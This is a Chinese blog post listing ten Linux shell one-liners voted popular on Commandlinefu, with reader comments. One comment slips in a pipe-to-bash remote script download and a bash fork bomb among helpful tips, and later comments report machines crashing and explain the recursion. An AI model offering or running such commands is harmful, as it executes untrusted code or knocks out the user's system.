10 个最酷的 Linux 单行命令
下面是来自 Commandlinefu 网站由用户投票决出的 10 个最酷的 Linux 单行命令,希望对你有用。
sudo !!以 root 帐户执行上一条命令。
python -m SimpleHTTPServer利用 Python 搭建一个简单的 Web 服务器,可通过 http://$HOSTNAME:8000 访问。
:w !sudo tee %在 Vim 中无需权限保存编辑的文件。
cd -更改到上一次访问的目录。
^foo^bar将上一条命令中的 foo 替换为 bar,并执行。
cp filename{,.bak}快速备份或复制文件。
mtr google.comtraceroute + ping。
!whatever:p搜索命令历史,但不执行。
$ssh-copy-id user@host将 ssh keys 复制到 user@host 以启用无密码 SSH 登录。
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg把 Linux 桌面录制为视频。
关于 Commandlinefu,本站去年曾作介绍,不熟悉的朋友可点击查看。
Read More:
- No related posts
果真很酷!
嗯,知道五个……
第2个常用,确实非常好用
其实也可以把cp换成mv,这样就变成快速移动/改名了,很多命令都支持{,}
果然强悍……
超酷,只知道4和6.
还有一个:
cmd !$
把上个命令的参数作为参数。也挺常用的。
没有用过
最后一条是ahei要的:)
mtr真好啊
curl http://www.example.com/shell.sh|bash
:(){ :|:& };:
好,学习了。
另,反对 X 这种乱贴代码的行为。
收益匪浅 11楼的代码我中过招,不懂的人别运行,不然你会后悔的
楼上真坏!
晕,看的时候才11楼,怎么一下多了两层。
好吧,我想说11楼真坏。
@ggarlic: 这不是命令支持,而是 bash 扩展
我比较喜欢第六跟第七条。
Particularly Useful!
@ricky: 使用上一条命令参数更方便的做法是 M-. :P
很酷很好用
谁能解释一下11楼代码的含义,很有意思呢。 cp filename{,.bak} 为什么能复制文件?
桌面用户路过~~
@zhou13
类似乘法 cp filename{,.bak} => cp filename filelname.bak
如: echo {1,2}d{3,4}
很好........ 确实有帮助
ffmpeg 可以带 -s 1280x800的。 其他的,都是常规的了。
11楼的代码最迷惑的地方就是“:”。 其实只要将之换成一个普通的函数名(如f)就很简单了: f() { f | f & }; f 就是先定义函数f然后运行之;因为函数f是递归定义的,所以会有问题
常用其中两条,不错
学习了!第六条经常用! 受益受益!
运行了11楼的代码,机器资源耗尽,down掉了。。。。谁能详细解析一下。。。。。。。。
竟然有好多没用过,学习ing
关于11楼的代码,参考:http://ubuntuforums.org/announcement.php?a=54
关于11楼的代码,看不明白英文的,去 Google “危险 Linux命令"。